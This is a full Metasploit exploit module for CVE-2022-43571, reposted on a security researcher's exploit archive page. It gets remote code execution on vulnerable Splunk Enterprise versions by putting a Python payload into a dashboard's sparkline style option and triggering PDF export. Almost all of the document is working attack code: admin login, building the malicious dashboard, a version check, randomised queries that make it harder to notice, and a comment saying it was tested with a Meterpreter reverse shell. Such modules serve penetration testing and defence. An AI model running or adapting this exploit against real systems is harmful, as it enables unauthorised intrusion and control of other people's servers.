Splunk Enterprise 8.2.9 / 9.0.2 Remote Code Execution
Splunk Enterprise 8.2.9 / 9.0.2 Remote Code Execution
Splunk Enterprise 8.2.9 / 9.0.2 Remote Code Execution

##
# This module Splunk Enterprise 8.2.9 / 9.0.2 Remote Code Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Splunk
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Authenticated RCE in Splunk (SimpleXML dashboard PDF generation)',
'Description' => %q{
This Metasploit module exploits a Remote Code Execution (RCE) vulnerability in Splunk Enterprise.

An attacker can inject arbitrary Python code into style parameters, such as the fillColor or lineColor of a sparkline element within a Splunk SimpleXML dashboard.
The malicious code is executed when a user triggers the PDF export function for the dashboard.

The affected versions include any release prior to 8.1.12, as well as versions 8.2.0 through 8.2.9 and 9.0.0 through 9.0.2.
},
'License' => MSF_LICENSE,
'Author' => [
'Maksim Rogov', # Metasploit Module
'Danylo Dmytriiev', # Vulnerability Discovery
'psytester' # Public Exploit
],
'References' => [
['CVE', '2022-43571'],
['URL', 'https://advisory.splunk.com/advisories/SVD-2022-1111'],
['URL', 'https://web.archive.org/web/20221218233608/https://psytester.github.io/CVE-2022-43571_SPLUNK_RCE/']
],
'Platform' => ['python'],
'Arch' => [ARCH_PYTHON],
'Targets' => [
[
'Splunk < 8.1.12, 8.2.9, and 9.0.2 / Python payload',
{
# Tested with python/meterpreter/reverse_tcp
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2022-11-02',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
}
)
)

register_options(
[
OptString.new('TARGETURI', [true, 'Path to the Splunk App', '/']),
OptString.new('USERNAME', [ true, 'The username with admin role to authenticate as', 'admin' ]),
OptString.new('PASSWORD', [ true, 'The password for the specified username']),
OptBool.new('USE_INLINE_SPLUNK_QUERY', [true, 'By default, the exploit uses a simple query using system indexes (such as _internal). This option can be useful if those indexes are empty', false ])
]
)
end

def gen_inline_splunk_query
row_id_name = Rex::Text.rand_text_alphanumeric(8..16)
arr_field = Rex::Text.rand_text_alpha(8..16)

rand_count = rand(100..500)
step = rand(2..15)

col_count = rand(3..10)
column_names = col_count.times.map { Rex::Text.rand_text_alphanumeric(8..16) }

delimiter = [';', '|', ':', '#', '!'].sample
names_string = column_names.join(delimiter)

<<~SPL.strip
| makeresults count=#{rand_count}
| streamstats count as #{row_id_name}
| eval _time = now() - (#{row_id_name} * #{step}),
#{arr_field} = split("#{names_string}", "#{delimiter}"),
sourcetype = mvindex(#{arr_field}, #{row_id_name} % #{col_count})
| chart sparkline count by sourcetype
SPL
end

def get_system_index_splunk_query
rand_tail = rand(100..200)
index = ['_internal', '_audit', '_introspection'].sample

"index=#{index} | tail #{rand_tail} | chart sparkline count by sourcetype"
end

def get_malicious_dashboard_template(payload)
splunk_query = datastore['USE_INLINE_SPLUNK_QUERY'] ? gen_inline_splunk_query : get_system_index_splunk_query
style_param = ['lineColor', 'fillColor'].sample
escaped_payload = CGI.escapeHTML(payload)

dash_template = <<~XSL
<dashboard>
<row>
<panel>
<table>
<search>
<query>
#{splunk_query}
</query>
</search>
<format field="sparkline" type="sparkline">
<option name="#{style_param}">#{escaped_payload}</option>
</format>
</table>
</panel>
</row>
</dashboard>
XSL

# delete spaces
dash_template.gsub(/^\s+/, '')
end

def cleanup
super
delete_dashboard(@target_app, @dash_name, @cookie)
rescue Msf::Exploit::Failed
print_warning("Module failed to delete the dashboard, \"#{@dash_name}\", which was created by the exploit")
end

def check
@cookie = splunk_login(datastore['USERNAME'], datastore['PASSWORD'])
version = splunk_home_version(@cookie)
if version.between?(Rex::Version.new('8.1.0'), Rex::Version.new('8.1.11')) ||
version.between?(Rex::Version.new('8.2.0'), Rex::Version.new('8.2.8')) ||
version.between?(Rex::Version.new('9.0.0'), Rex::Version.new('9.0.1'))
return CheckCode::Appears("Exploitable version found: #{version}")
end

return CheckCode::Safe("Non-vulnerable version found: #{version}") if !version.nil?

return CheckCode::Unknown('Target does not appear to be a Splunk instance')
end

def exploit
if @cookie.nil?
@cookie = splunk_login(datastore['USERNAME'], datastore['PASSWORD'])
end

template = get_malicious_dashboard_template(payload.encoded)

@target_app = get_random_app(@cookie, enabled: true)
@dash_name = Rex::Text.rand_text_alphanumeric(8..16)

create_dashboard(@target_app, @dash_name, template, @cookie)
begin
export_dashboard(@target_app, @dash_name, @cookie)
rescue StandardError
nil
end
end

end
Social Media Share
About Contact Terms of Use Privacy Policy
© Khalil Shreateh — Cybersecurity Researcher & White-Hat Hacker — Palestine 🇵🇸
All content is for educational purposes only. Unauthorized use of any information on this site is strictly prohibited.